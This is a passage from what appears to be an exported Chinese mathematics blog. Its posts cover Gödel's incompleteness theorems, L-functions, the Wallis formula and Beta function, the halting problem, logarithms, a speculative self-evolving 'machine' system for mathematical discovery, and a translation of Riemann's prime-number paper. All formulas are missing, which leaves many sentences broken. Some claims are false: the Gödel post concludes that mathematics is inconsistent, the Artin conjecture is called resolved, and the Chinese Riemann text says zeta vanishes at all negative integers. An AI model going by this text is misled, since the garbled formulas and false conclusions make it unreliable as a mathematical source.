“Undecidable”（系统内无法判定）或 “Incomplete”（资源不足）。欧拉机的求解过程依赖于形式推导规则，例如假言推理、归纳法等。 哥德尔机（GM）哥德尔机的目标是修改现有系统以突破其局限。设 为当前形式系统（ 公理、 推理规则、 语言），则哥德尔机定义为函数： 其中 是修改后的系统。修改的依据是哥德尔不完备性定理：对于足够强的 ，存在真陈述 无法在 内证明。哥德尔机通过添加新公理（如大基数公理）、扩展语言（如引入新符号）或调整推理规则，使 在 内可证明。例如，将连续统假设（CH）加入 ZFC 公理体系，可解决 CH 在 ZFC 中的不可判定性。 罗素机（RM）罗素机的作用是对问题和定理进行层级分类，避免悖论。基于罗素类型论，罗素机定义为函数： 其中 是类型层级结构。类型层级的定义如下：Type 0：基本对象（如自然数 ）；Type ：所有由 Type 对象组成的集合；任何陈述的类型等于其量化变量的最高类型加 1。 例如，陈述 “所有自然数是整数” 的类型为 1（量化变量为 Type 0），陈述 “所有整数集合是可数的” 的类型为 2（量化变量为 Type 1）。这种分类确保没有陈述引用自身类型的集合，从而避免罗素悖论（如 “所有不包含自身的集合的集合”）。 闭环迭代反馈机制系统的闭环迭代过程可表示为状态转移函数。设系统在第 次迭代的状态为 （ 公理、 定理、 问题、 层级），则第 次迭代的状态 由以下步骤生成： 问题生成：埃尔德什机从 生成新问题 ； 层级分类：罗素机将 分类为 ； 问题求解：欧拉机处理 ，将已证明的陈述加入 ，保留未解决的问题； 规则演化：哥德尔机检测 中的不可判定陈述，修改 为 。 状态转移函数可表示为： 该迭代过程是无限的，因为哥德尔机的规则演化会不断扩展系统的表达能力，而埃尔德什机会生成新的问题，形成自我循环的数学演化。 自循环演化与规则升维哥德尔机的规则升维是系统无限演化的核心。升维的本质是扩展形式系统的表达能力，使其能处理之前无法解决的问题。设 和 是相邻两次迭代的系统，则升维需满足： 即 是 的超集（包含所有公理、规则和语言元素）。例如，从 Peano 算术（PA）升维到 Zermelo-Fraenkel 集合论（ZFC）：PA 的所有陈述在 ZFC 中仍然有效，且 ZFC 能证明 PA 中不可判定的陈述（如 Goodstein 定理）。 升维的数学条件可通过模型论描述：若 的模型 是 的模型 的子集（ ），则 能表达 无法表达的概念。例如，ZFC 的模型包含集合，而 PA 的模型仅包含自然数，因此 ZFC 能处理集合层面的问题。 层级分类与罗素机的作用罗素机的层级分类确保系统的一致性。根据类型论，任何陈述的类型必须高于其量化变量的类型，因此不存在自我引用的陈述。例如，陈述 是假的 是类型矛盾的，因为 的类型必须高于自身的类型，这不可能。罗素机通过检查每个陈述的类型，排除矛盾的陈述，确保系统的一致性。 层级分类还能管理系统的复杂度。随着系统演化，问题和定理的数量会指数增长，罗素机将它们按类型分层，使欧拉机和埃尔德什机能优先处理低类型的问题（更基础的问题），再逐步处理高类型的问题（更抽象的问题）。这种分层策略提高了系统的效率，避免了资源浪费。 系统的应用与展望该系统的理论应用包括自动化数学发现和解决开放问题。例如，对于哥德巴赫猜想：埃尔德什机生成该猜想；罗素机将其分类为 Type 1（涉及自然数）；欧拉机尝试用 PA 证明，发现不可判定；哥德尔机将 PA 升维到 ZFC 加大基数公理；欧拉机在新系统中证明该猜想（假设成立）。 未来的研究方向包括：实现埃尔德什机的生成规则，使其能生成有价值的问题；优化欧拉机的证明算法，提高求解效率；设计哥德尔机的升维策略，平衡系统的一致性和表达能力；验证罗素机的层级分类在实际系统中的有效性。 该系统的最终目标是构建一个能自我演化的数学生态，不断发现新的数学真理，突破人类认知的边界。 结论整合埃尔德什机、欧拉机、哥德尔机和罗素机的闭环系统，是对数学研究过程的形式化模拟。它通过问题生成、求解、规则演化和层级分类，形成无限自循环的数学演化。该系统不仅解决了静态形式系统的局限，还为自动化数学发现提供了新的框架。未来，若能将该系统付诸实践，它可能会带来数学领域的革命性突破，但关键问题在于：如何平衡系统的演化速度与一致性，以及如何确保生成的问题和定理具有实际意义？这需要数学家和计算机科学家的共同努力，探索数学与人工智能的交叉前沿。"},{"title":"","date":"2026-05-23T00:07:00.000Z","updated":"2026-05-23T00:10:00.000Z","comments":true,"path":"notes/Zeta/150.html","permalink":"https://blog.mhuig.top/notes/Zeta/150","excerpt":"","text":"L- 函数的分析构造与自守形式的联系 L- 函数的分析构造与自守形式的联系 L- 函数是连接数论, 表示论和代数几何的核心对象, 其本质可通过拉普拉斯变换与梅林变换的复合来刻画. 给定复值函数 满足多项式增长条件 , 其拉普拉斯变换定义为 ( ), 而梅林变换则将函数 映射为 ( ). 两者的复合恰好给出 L- 函数的解析定义: , 其中 为伽马函数, 即 Dirichlet 级数形式的 L- 函数. 这一构造将离散的数论序列与连续的复分析函数紧密结合, 为后续研究提供了分析工具. 拉普拉斯变换与 Dirichlet 特征Dirichlet 特征是 L- 函数的重要特例, 其拉普拉斯变换具有明确的几何意义. 设 是模 的 Dirichlet 特征, 则其拉普拉斯变换可表示为几何级数的和: . 这一表达式可解析延拓至右半平面 , 并进一步亚纯延拓至整个复平面, 其极点位于 ( ), 留数为 , 其中 是高斯和. 特别地, 当 为平凡特征 时, ( 为欧拉函数 ), 此时拉普拉斯变换在原点处有单极点; 而非平凡特征的拉普拉斯变换在原点处可去奇点. 这一性质直接反映了 Dirichlet L- 函数的解析延拓能力, 是证明 Dirichlet 定理 (等差数列中存在无穷多素数) 的关键. 自相关函数与 Riemann zeta 函数的联系Ramanujan 于 1915 年引入的自相关函数 揭示了 L- 函数与自守形式的深刻联系. 其定义为: 通过解析延拓, 可扩展至 , 并满足傅里叶变换关系: 这一积分中的概率测度 具有特殊的矩性质: 其 阶矩 , 其中 为欧拉数, 满足生成函数 . 该测度由其矩唯一确定 (Hamburger 矩问题), 且与 Riemann zeta 函数的中心值紧密相关. 例如, Darses & Hillion (2024) 通过对 在 处求导, 得到了 Riemann zeta 函数中心值的矩公式: 其中 涉及 Stirling 数与贝尔数的组合, 体现了数论与组合数学的交叉. L- 函数的现代发展: 朗兰兹纲领朗兰兹纲领将 L- 函数的研究推向了更高层次, 其核心猜想断言: 任何数域的 Galois 扩张的 Artin L- 函数, 都对应于一般线性群的自守表示的 L- 函数. 例如, Dirichlet L- 函数对应于 的自守表示, 而 Riemann zeta 函数则是其特例. 这一框架下, L- 函数成为连接数论 (Galois 表示), 表示论 (自守表示) 和代数几何 (Motive) 的桥梁. 例如, 椭圆曲线的 L- 函数可通过 Taniyama-Shimura-Weil 猜想与模形式的 L- 函数对应, 这一结果直接导致了 Fermat 大定理的证明. 此外, Artin L- 函数的解析延拓问题 (Artin 猜想) 可通过自守表示的 L- 函数性质间接解决, 因为后者已被证明具有良好的解析性质 (如全纯延拓和函数方程). 结论L- 函数的分析构造不仅为经典数论问题提供了强大工具, 更通过朗兰兹纲领成为现代数学统一的核心. 从 Dirichlet 特征的拉普拉斯变换到 Riemann zeta 函数的自相关函数, 每一步推导都揭示了数论与分析的深刻联系. 未来, L- 函数的研究将继续推动数论, 表示论和代数几何的交叉融合, 为解决诸如 Riemann 假设等重大问题提供新的视角."},{"title":"","date":"2025-09-19T10:35:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/16.html","permalink":"https://blog.mhuig.top/notes/Zeta/16","excerpt":"","text":"哥德尔不完备性定理 哥德尔不完备性定理 哥德尔数我们这里构造一种对应关系，把数学中所有的东西都映射到某个数，称为 \"哥德尔数\"。 这样我们可以把关于数学性质的讨论，变成关于数的性质的讨论。 数学中最基础的是符号。首先，我们定义 个最基本的数学符号，并为他们分配 的哥德尔数。 , , 之类的字母的哥德尔数规定为 ， ， 等后面的质数。 基本数学符号 含义 哥德尔数 非 1 或 2 如果… 那么… 3 存在 4 等号 5 零 6 后继 7 左括号 8 右括号 9 逗号 10 加号 11 乘号 12 字母 13 字母 17 字母 19 其他变量 其他变量 后续质数 在我们今天讨论的自然数范围内，这 个符号加上字母基本上能够表达一切了。 比如 \"皮亚诺算术公理\" 序号 皮亚诺算术公理 含义 (1) 存在自然数 (2) 存在自然数 是自然数 的后继数 (3) 不是任何自然数的后继数 (4) 对自然数 , ,若 , 的后继数相等，则 , 相等 后继的数是指后面的数，比如 是 的后继， 表达为 , 就是 ， 就是 依此类推… 到此为止，基本的符号和数字都有了自己的哥德尔数。数字和符号的序列可以构成命题。比如 是一个命题。这五个符号对应的哥德尔数分别是 。 命题转化成哥德尔数如何把命题转化成哥德尔数呢？ 我们的方法是写出前几个质数 ，把五个符号的哥德尔数放到它的指数位置然后再相乘 这样命题 的哥德尔数就是 约等于 亿亿亿。 可以看出命题的哥德尔数都很大。我们小学二年级都学过质因数分解。算术分解定理： 每个大于 的自然数，要么本身就是质数，要么可以写为两个或以上的质数的积，而且这些质因子按照从小到大排列之后，写法只有一种方式。 一个整数的质因数分解方式是唯一的。 所以这种方法保证了每个命题都可以对应到唯一的哥德尔数。而你看到一个哥德尔数，也可以通过质因数分解找到它对应的命题。 到目前为止，所有的命题都有了自己对应的哥德尔数。命题序列可以构成证明过程。 比如如何证明 是存在的？ 根据皮亚诺公理，每个自然数都存在后继数，因此 的后继 存在。 写出来就是因为 所以 写成哥德尔数就是因为 ，所以 。 这两个命题的哥德尔数分别是 和 分别记为 和 。 计算证明过程的哥德尔数： 到目前为止，所有的证明过程都有了自己的哥德尔数。 复杂的命题转化成哥德尔数命题：质数有无穷多个。 等价于：不存在最大的质数。 即： 最大的质数 即: 是质数，且是质数， 存在和任意的转化 存在 不满足条件 等价于非任意 满足条件 不存在 满足条件 等价于任意 均不满足条件 . 等价于 是质数（是质数 质数：没有除 和自身外的因数。 即： 大于 : 小于 : 且 : 现在命题质数有无穷多个可以用基本数学符号来表达了。然后就可以算哥德尔数了。 讨论命题的命题转化成哥德尔数甚至可以把一个讨论命题的命题也变成哥德尔数。 命题： 等价于 对应哥德尔数： 哥德尔数： 讨论命题的命题： 的第二个符号是加号 等价于： 命题 的哥德尔数 (G) 能被 整除，却不能被 整除。 等价于： 无法证明的命题转化成哥德尔数 元数学的 “不可证” 断言，等价于一个关于自然数关系的否定性存在命题。 命题： 哥德巴赫猜想无法证明。 等价于： 没有一个证明过程以哥德巴赫猜想收尾。 即： 不存在一个 步的证明过程使得它的哥德尔数能被 第个质数哥德巴赫猜想的哥德尔数 整除。 总之，各种命题，甚至是讨论命题的命题，无论真假都可以用哥德尔数表示。 函数 sub (a,b,c)命题： 哥德尔数： 记为 用 替换 得到一个新命题： 我们定义一个特殊的函数 sub (a,b,c)： 取哥德尔数为 的命题，找到命题中哥德尔数为 的符号的位置，把它替换成数字 ，得到的新命题的哥德尔数就是 sub (a,b,c)。 sub (m,m,17) 的命题： 取哥德尔数是 的命题，也就是 。 找到命题中哥德尔数为 的符号的位置， 也就是符号 的位置。 把它替换成 。 得到的这个新命题就是 。 也就是说：命题 的哥德尔数就是 sub (m,m,17)。 \"无法证明哥德尔数是 sub (n,n,17) 的命题\" 的哥德尔数是 sub (n,n,17)命题 a： 无法证明哥德尔数是 sub (y,y,17) 的命题。 哥德尔数： 记为 。 那这个哥德尔数是 sub (y,y,17) 的命题是什么呢？ 取哥德尔数是 的命题，找到命题的哥德尔数是 的符号，也就是符号 的位置，把它替换成 ，所得到的命题的哥德尔数是 sub (y,y,17)。 命题 b： 无法证明哥德尔数是 sub (n,n,17) 的命题。 那这个哥德尔数是 sub (n,n,17) 的命题是什么呢？ 取哥德尔数是 的命题，也就是命题 a，找到命题的哥德尔数是 的符号，也就是符号 的位置，把它替换成 ，所得到的命题（刚好就是命题 b）的哥德尔数是 sub (n,n,17)。 也就是说：命题 b 的哥德尔数就是 sub (n,n,17)。 \"无法证明哥德尔数是 sub (n,n,17) 的命题\" 的哥德尔数是 sub (n,n,17)。 这个命题刚好说的就是自己是无法证明的。 \"无法证明哥德尔数是 sub (n,n,17) 的命题\" 是真命题反证法： 假设 \"无法证明哥德尔数是 sub (n,n,17) 的命题\" 是假命题。 立即得出（反命题是真命题）： \"可以证明哥德尔数是 sub (n,n,17) 的命题\" 是真命题。 推出（可以证明是真的那么一定是真命题）： \"哥德尔数是 sub (n,n,17) 的命题\" 是真命题。 由于 \"无法证明哥德尔数是 sub (n,n,17) 的命题\" 的哥德尔数是 sub (n,n,17)，所以推出： \"无法证明哥德尔数是 sub (n,n,17) 的命题\" 是真命题。 这与假设矛盾，如果承认数学公理体系具有一致性则假设不成立。 \"无法证明哥德尔数是 sub (n,n,17) 的命题\" 是真命题。 也就是说： \"哥德尔数是 sub (n,n,17) 的命题\" 是无法证明的真命题。 哥德尔第一不完备性定理任何一个包含了足够强的算术公理的形式化系统，如果是一致的，就是不完备的。即其中必须存在一些既不能证明，也不能证否的命题。 哥德尔第二不完备性定理任何一个包含了足够强的算术公理的形式化系统，其一致性不能在内部得到证明。 我们假设数学公理体系具有一致性，推出了 \"哥德尔数是 sub (n,n,17) 的命题\" 是真的且无法证明。也就是说我们证明哥德尔数是 sub (n,n,17) 的命题为真用到的唯一条件就是假设数学公理体系是一致的。但哥德尔第一不完备性定理告诉我们哥德尔数是 sub (n,n,17) 的命题是不能证明的，这与我们已经证明出了 \"哥德尔数是 sub (n,n,17) 的命题\" 矛盾。所以数学公理体系不具有一致性。 已知的 sub (n,n,17)克鲁斯卡树定理 帕里斯 - 哈林顿定理 金森 - 麦卡隆定理 古德斯坦定理"},{"title":"","date":"2026-02-13T22:07:00.000Z","updated":"2026-02-13T22:10:00.000Z","comments":true,"path":"notes/Zeta/130.html","permalink":"https://blog.mhuig.top/notes/Zeta/130","excerpt":"","text":"华里士公式与欧拉 Beta 函数 华里士公式与欧拉 Beta 函数的数学联系及应用 历史背景与数学渊源17 世纪末至 18 世纪初，微积分的基础体系逐步建立，数学家们开始系统研究特殊函数与无穷乘积的性质。1656 年，英国数学家约翰・沃利斯（John Wallis）在其著作《无穷算术》中首次提出了以他命名的无穷乘积公式，该公式通过有理数的乘积逼近圆周率 ，成为早期分析学中连接离散与连续的重要桥梁。沃利斯的工作直接启发了牛顿等人对插值法的研究，为后续微积分的发展提供了关键工具。 几乎一个世纪后，1781 年，瑞士数学家莱昂哈德・欧拉（Leonhard Euler）在研究阶乘函数的推广时，定义了一类含参变量的积分，即后来的欧拉积分。其中第一类欧拉积分被法国数学家勒让德（Legendre）命名为 Beta 函数，第二类则称为 Gamma 函数。这两类函数的引入，不仅统一了诸多特殊积分的表达形式，更建立起数论、分析与几何之间的深刻联系。值得注意的是，尽管华里士公式早于 Beta 函数一个多世纪出现，但现代数学研究表明，二者在本质上是相通的，华里士公式可视为 Beta 函数在特定参数下的极限形式，这种跨越时空的数学呼应，展现了分析学内在的逻辑一致性。 基本定义与数学表述华里士公式（Wallis Formula）华里士公式以无穷乘积的形式表示圆周率 ，其标准形式为： 该公式也可通过双阶乘符号简化表达。对于正整数 ，双阶乘定义为：偶数双阶乘 ，奇数双阶乘 。 由此，华里士公式可改写为： 欧拉 Beta 函数（Euler Beta Function）Beta 函数作为第一类欧拉积分，具有多种等价定义形式： 第一，标准积分形式（定义域 , ）： 第二，三角形式：通过变量替换 可得： 第三，与 Gamma 函数的关系：Beta 函数可通过第二类欧拉积分（Gamma 函数）表示为： 其中 Gamma 函数定义为 ，且满足 （ 为非负整数）。 华里士公式的推导方法方法一：基于定积分递推关系考虑积分 ，通过分部积分可建立递推关系。令 ， ，则 ， 。根据分部积分公式 ，有： 第一项在区间端点处均为 0 ，利用 拆分积分得： 整理可得递推公式： 分奇偶性讨论：当 为偶数，设 ： ，其中 ，故 。当 为奇数，设 ： ，其中 ，故 。 由于在区间 上有 ，积分后得到 。代入上述表达式并取极限 ，由夹逼准则可得华里士公式。 方法二：基于随机行走模型的概率解释华里士公式的直观意义可通过一维随机行走模型阐释。考虑醉汉从原点出发，每步随机向东或向西移动，定义： ： 步后回到原点的路径数，计算得 ； ： 步内从未回到原点的路径数。 通过路径分割与双射构造，可以证明 ，即序列 与 满足卷积关系。进一步分析表明，当 时，这些路径构成的矩形面积和逼近四分之一圆的面积，从而导出 。这种几何化的证明方法，揭示了华里士公式中 的本质，它是随机过程路径空间的几何测度。 Beta 函数的性质与推导Beta 函数的对称性与递推关系由积分定义易证 Beta 函数的对称性： 。通过分部积分可建立递推公式： 证明如下：令 ， ，则 ， 。分部积分得： 结合对称性可得 ，反复应用此式可将参数为非整数的 Beta 函数转化为整数参数的情形。 Beta 函数与 Gamma 函数的关系证明利用 Gamma 函数的乘积 ，作变量替换 ， ，得： 转换为极坐标 ， ，则 ， ，积分变为： 令 ，则内层积分 ，外层积分恰为 ，从而得到 。 华里士公式与 Beta 函数的联系通过 Beta 函数推导华里士公式取 Beta 函数的三角形式 ，令 ，则： 另一方面，由 Gamma 函数关系 。利用余元公式 和 ，代入得： 化简后取极限 ，即得华里士公式。这一推导揭示了华里士公式本质上是 Beta 函数在参数趋近于无穷时的渐近行为。 应用方法与实例华里士公式的数值计算应用华里士公式提供了一种通过有理数乘积逼近 的方法。取前 项部分乘积： 例如，当 时， ，与 的误差约为 ；当 时，误差可降至 。尽管收敛速度较慢，但该公式为早期计算机计算 提供了重要思路。 Beta 函数在积分计算中的应用对于形如 的积分，可直接用 表示。例如： 。通过变量替换 ，可将 转化为 ，从而求解复杂幂函数积分。 数学意义与现代拓展华里士公式与 Beta 函数的关联，体现了分析学中 “特殊与一般” 的辩证关系，华里士公式作为特例，揭示了 的算术本质；而 Beta 函数作为一般化工具，统一了各类积分计算。这种从具体到抽象的升华，是数学发展的典型范式。 在现代数学中，这两个工具的思想被进一步推广到高维空间与随机过程领域。例如，多维 Beta 分布成为贝叶斯统计的重要模型，而华里士乘积的思想则启发了蒙特卡洛方法中随机采样的设计。正如沃利斯与欧拉在三百年前播下的种子，如今已成长为分析学的参天大树，其根系深扎于数论、几何与概率的沃土之中，持续为科学探索提供养分。"},{"title":"","date":"2025-09-20T07:35:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/17.html","permalink":"https://blog.mhuig.top/notes/Zeta/17","excerpt":"","text":"停机问题 停机问题 停机问题（Halting Problem）是逻辑数学中可计算性理论的一个问题。通俗地说，停机问题就是判断任意一个程序是否能在有限的时间之内结束运行的问题。 该问题等价于如下的判定问题：是否存在一个程序 ，对于任意输入的程序 ，能够判断 会在有限时间内结束 (Halt) 或者死循环 (Loop)。 图灵机图灵机是艾伦・图灵（Alan Turing）于 1936 年提出的抽象计算模型，用于精确定义 “可计算性”。其核心组成包括： 无限长纸带：划分为单元格，存储符号（如 0 / 1）。 读写头：读取 / 修改当前单元格内容，并左右移动。 状态寄存器：记录当前状态（如开始、接受、拒绝状态）。 转移规则表：基于当前状态和读取的符号，决定下一步操作（写符号、移动方向、状态变更）。 图灵的证明图灵通过反证法证明停机问题不可解： 假设存在判定程序 H (P, I)： 输入程序 和输入 ， 输出 “停机”(Halt) 或 “不停机”(Loop)。 构造自指悖论程序 D (I)： 的行为与 的预测相反： 若 输出 “停机”(Halt)，则 无限循环 (Loop)； 若 输出 “不停机”(Loop)，则 立即停机 (Halt)。 矛盾产生： 若 判断 停机 (Halt) → 实际无限循环 (Loop) [矛盾]； 若 判断 不停机 (Loop) → 实际停机 (Halt) [矛盾]。 故假设不成立，不存在通用的 。"},{"title":"","date":"2025-09-20T02:38:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/19.html","permalink":"https://blog.mhuig.top/notes/Zeta/19","excerpt":"","text":"对数运算法则 对数运算法则 基本运算法则设 , , , , : 积法则 商法则 幂法则 换底公式换底公式 ( , ) 常用推论倒数关系： 指数转移： 链式法则： 。 哲学思考：加法和乘法的联系加法代表同维度的线性思维，乘法代表维度跃迁的非线性关系。 加法是同一维度内的累积（如数量叠加），而乘法是跨维度的相互作用（如质量 = 体积 × 密度），其结果涌现出新属性。 对数是连接加法和乘法的桥梁。 这揭示了数学运算层级间的深刻统一性，其本质是通过抽象映射实现复杂性的降维。 对数不仅是算术技巧，更是人类理性为复杂宇宙构建的 “认知之桥”—— 它证明：乘法世界的混沌，总能在加法世界找到有序的投影。 \"你若想继续知道宇宙的秘密，必须留意 “+” 和 “×” 这两个十字架符号。\""},{"title":"","date":"2025-09-14T03:09:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Zeta/2.html","permalink":"https://blog.mhuig.top/notes/Zeta/2","excerpt":"","text":"On the Number of Primes Less Than a Given Magnitude On the Number of Primes Less Than a Given Magnitude Ueber die Anzahl der Primzahlen unter einer gegebenen Grösse On the Number of Primes Less Than a Given Magnitude 论小于给定大小的素数个数 by BERNHARD RIEMANN 作者：波恩哈德・黎曼 Meinen Dank für die Auszeichnung, welche mir die Akademie durch die Aufnahme unter ihre Correspondenten hat zu Theil werden lassen, glaube ich am besten dadurch zu erkennen zu geben, dass ich von der hierdurch erhaltenen Erlaubniss baldigst Gebrauch mache durch Mittheilung einer Untersuchung über die Häufigkeit der Primzahlen; ein Gegenstand, welcher durch die Interesse, welches Gauss und Dirichlet demselben längere Zeit geschenkt haben, einer solchen Mittheilung vielleicht nicht ganz unwerth erscheint. I believe I can best express my gratitude for the honor which the Academy has bestowed on me in naming me as one of its correspondents by immediately availing myself of the privilege this entails to communicate an investigation of the frequency of prime numbers, a subject which because of the interest shown in it by Gauss and Dirichlet over many years seems not wholly unworthy of such a communication. 我认为，对于贵院授予我的这一殊荣，即选我为贵院通讯院士，我最恰当的表达感激之情的方式，莫过于立即利用这一特权，向贵院呈交一篇关于素数分布频率的研究报告。由于高斯和狄利克雷多年来对此课题表现出浓厚兴趣，我认为这一研究并非完全不值得向贵院汇报。 Bei dieser Untersuchung diente mir als Ausgangspunkt die von Euler gemachte Bemerkung, dass das Product In this investigation I take as my starting point the observation of Euler that the product 在这项研究中，我以欧拉的观察作为起点，即乘积 wenn für alle Primzahlen, für alle ganzen Zahlen gesetzt werden. where ranges over all prime numbers and over all whole numbers. 其中， 取遍所有的质数，而 取遍所有的整数。 Die Function der complexen Veränderlichen , welche durch diese beiden Aus-drücke,so lange sie convergiren, dargestellt wird, bezeichne ich durch . The function of a complex variable which these two expressions define when they converge I denote by . 这两个表达式收敛时，所表示的复变量 的函数，我将其记为 。 Beide convergiren nur, so lange der reelle Theil von grösser als ist; es lässt sich indess leicht ein immer gültig bleibender Ausdruck der Function finden. They converge only when the real part of is greater than ; however, it is easy to find an expression of the function whichalways is valid. 只有当复数 的实部大于 时，两个表达式才会收敛；不过，很容易就能得出一个始终有效的函数表达式。 Durch Anwendung der Gleichung By applying the equation 由等式 erhält man zunächst one finds first 立即得出 Betrachtet man nun das Integral If one considers the integral 如果我们考虑围道积分 von bis positiv um ein Grössengebiet erstreckt, welches den Werth , aber keinen andern Unstetigkeitswerth der Function unter dem Integralzeichen im Innern enthält, so ergiebt sich dieses leicht gleich from to in the positive sense around the boundary of a domain which contains the value but no other singularity of the integrand in its interior, then it is easily seen to be equal to 其中积分路线沿一条闭路径按正方向从 到 ，这条路径内部包含 点但不包含被积函数的其他不连续的奇点，则很容易看出其结果等于 vorausgesetzt, dass in der vieldeutigen Function der Logarithmus von so bestimmt worden ist, dass er für ein negatives reell wird. provided that in the many-valued function the logarithm of is determined in such a way that it is real for negative values of . 假设在多值函数 中这样来取对数， 的对数的确定方式应使得当 为负值时该对数为实数。 Man hat daher Thus 由此得出 das Integral in der eben angegebenen Bedeutung verstanden. when the integral is defined as above. 此时的积分按照上述的意义来理解。 Diese Gleichung giebt nun den Werth der Function für jedes beliebige complexe und zeigt, dass sie einwerthig und für alle endlichen Werthe von ausser , endlich ist, so wie auch, dass sie verschwindet, wenn gleich einer negativen geraden Zahl ist. This equation gives the value of the function for all complex and shows that it is single-valued and finite for all values of other than , and also that it vanishes when is a negative even integer. 这个等式给出了函数 对于所有复数 上的值，并表明它是一个单值函数，除了 以外，对于每个有限的 该函数的值都是有限的，而且当 为负整数时，该函数会变为零。 Wenn der reelle Theil von negativ ist, kann das Integral, statt positiv um das angegebene Grössengebiet auch negativ um das Grössengebiet, welches sämmtliche übrigen complexen Grössen enthält, erstreckt werden, da das Integral durch Werthe mit unendlich grossem Modul dann unendlich klein ist. When the real part of is negative, the integral can be taken, instead of in the positive sense around the boundary of the given domain, in the negative sense around the complement of this domain because in that case (when ) the integral over values with infinitely large modulus is infinitely small. 如果复数 的实部为负数，则积分路径也可通过取别的路径来计算，与按正方向围绕先前描述的区域的路径不同，这次路径是按负方向围绕上述区域的余集，这是因为对于所有的有充分大模的 ，所对应的积分是无穷小。 Im Innern dieses Grössengebiets aber wird die Function unter dem Integralzeichen nur unstetig, wenn gleich einem ganzen Vielfachen von wird und das Integral ist daher gleich der Summe der Integrale negativ um diese Werthe genommen. But inside this complementary domain the only singularities of the integrand are at the integer multiples of , and the integral is therefore equal to the sum of the integrals taken around these singularities in the negative sense. 但在这个互补区域的内部，仅当 等于 的整数倍时，被积函数才是不连续的，所以积分等于那些按负方向围绕这些奇点的积分之和。 Das Integral um den Werth aber ist , man erhält daher Since the integral around the value is , this gives 由于围绕点 的积分结果为 ，所以得出 also eine Relation zwischen und , welche sich mit Benutzung bekannter Eigenschaften der Function auch so ausdrücken lässt: and therefore a relation between and which, by making use of known properties of the function , can also be formulated as the statement that: 因此，这也给出了 与 之间的一个关系，这个关系通过利用函数 的已知性质，也可以表示为： bleibt ungeändert, wenn in verwandelt wird. remains unchanged when is replaced by . 当把 替换为 时，其结果保持不变。 Diese Eigenschaft der Function veranlasste mich statt das Integral in dem allgemeinen Gliede der Reihe einzuführen, wodurch man einen sehr bequemen Ausdruck der Function erhält. In der That hat man This property of the function motivated me to consider the integral instead of the integral in the general term of , which leads to a very convenient expression of the function . In fact 该函数的这一特性促使我引入关于 的积分来替换 ，作为级数 的一般项的乘数，从而得到了函数 的一个非常简洁的表达式。事实上，我们有 also, wenn man so when one sets 因而，如果我们令 setzt, it follows that 则有 oder da or, because 因为 (Jacobi, Fund., p. 184), that 所以，我们有 Ich setze nun und I now set and 我现在令 ，以及 so dass so that 从而有 oder auch or also 或者 Diese Function ist für alle endlichen Werthe von endlich, und lässt sich nach Potenzen von in eine sehr schnell convergirende Reihe entwickeln. This function is finite for all finite values of and can be developed as a power series in which converges very rapidly. 这个函数对于所有有限的 值，都是有限的，并且可以按 的幂展开成收敛速度极快的级数。 Da für einen Werth von , dessen reeller Bestandtheil grösser als ist, endlich bleibt, und von den Logarithmen der übrigen Factoren von dasselbe gilt, so kann die Function nur verschwinden, wenn der imaginäre Theil von zwischen und liegt. Now since for values of with real part greater than , is finite and since the same is true of the other factors of , the function can vanish only when the imaginary part of lies between and . 因为对于任意实部大于 的 来说， 仍然是一个有限的，而且 的其他因数也具有同样的性质，所以仅当 的虚部位于 和 之间时，函数 才可变为零。 Die Anzahl der Wurzeln von , deren reeller Theil zwischen und liegt, ist etwa The number of roots of whose real parts lie between and is about 方程 的实部位于 到 之间的根的数量大约是 denn das Integral positiv um den Inbegriff der Werthe von erstreckt, deren imaginärer Theil zwischen und und deren reeller Theil zwischen und liegt, ist ( bis auf einen Bruchtheil von der Ordnung der Grösse ) gleich ; dieses Integral aber ist gleich der Anzahl der in diesem Gebiet liegenden Wurzeln von , multiplicirt mit . because the integral taken in the positive sense around the domain consisting of all values whose imaginary parts lie between and and whose real parts lie between and is (up to a fraction of the order of magnitude of ) equal to and is, on the other hand, equal to the number of roots of in the domain multiplied by . 这是因为积分式 的值（忽略一个阶为 的次要项）等于 ，这里的积分路径是一个正向的围道，其内部包含了所有虚部介于 到 之间且实部介于 到 之间的 值，而这个积分又等于方程 在这个区域内的根的数目的 倍。 Man findet nun in der That etwa so viel reelle Wurzeln innerhalb dieser Grenzen, und es ist sehr wahrscheinlich, dass alle Wurzeln reell sind. One finds in fact about this many real roots within these bounds and it is very likely that all of the roots are real. 实际上，我们在这个范围内找到了大约这个数目的实根，而且很有可能所有的根都是实数。 Hiervon wäre allerdings ein strenger Beweis zu wünschen; ich habe indess die Aufsuchung desselben nach einigen flüchtigen vergeblichen Versuchen vorläufig bei Seite gelassen, da er für den nächsten Zweck meiner Untersuchung entbehrlich schien. One would of course like to have a rigorous proof of this, but I have put aside the search for such a proof after some fleeting vain attempts because it is not necessary for the immediate objective of my investigation. 当然，人们希望能找到这一结论的严谨证明，但我经过几次短暂而徒劳的尝试后已经放弃了寻找这种证明的努力，因为这对于我当前的研究目标来说并非必要。 Bezeichnet man durch jede Wurzel der Gleichung , so kann man durch If one denotes by the roots of the equation , then one can express as 若将方程 的根记为 ，那么就可以将 表示为 ausdrücken; denn da die Dichtigkeit der Wurzeln von der Grösse mit nur wie wächst, so convergirt dieser Ausdruck und wird für ein unendliches nur unendlich wie ; er unterscheidet sich also von um eine Function von , die für ein endliches stetig und endlich bleibt und mit dividirt für ein unendliches unendlich klein wird. because, since the density of roots of size grows only like as grows, this expression converges and for infinite is only infinite like ; thus it differs from by a function of which is continuous and finite for finite and which, when divided by , is infinitely small for infinite . 因为根的密度随着 的增长仅与 一样快，所以这个表达式是收敛的，并且当 趋向无穷大时，其阶为 ；因此，表达式与 的差是这样的一个量，它是 的函数，对于所有有限的 来说，这个函数任然是连续且有限的，并且当除以 时，对于无穷大的 来说，它是无穷小的。 Dieser Unterschied ist folglich eine Constante, deren Werth durch Einsetzung von bestimmt werden kann. This difference is therefore a constant, the value of which can be determined by setting . 因此，这个差是一个常数，其具体数值可通过取 来确定。 Mit diesen Hülfsmitteln lässt sich nun die Anzahl der Primzahlen, die kleiner als , sind, bestimmen. With these preparatory facts, the number of primes less than can now be determined. 有了这些准备工作所得到的结论，那么小于 的质数的个数就可以确定了。 Es sei , wenn nicht gerade einer Primzahl gleich ist, gleich dieser Anzahl, wenn aber eine Primzahl ist, um grösser, so dass für ein , bei welchem sich sprungweise ändert, Let , when is not exactly equal to a prime, be equal to this number, but when is a prime let it be greater by so that for an where jumps 设函数 ，当 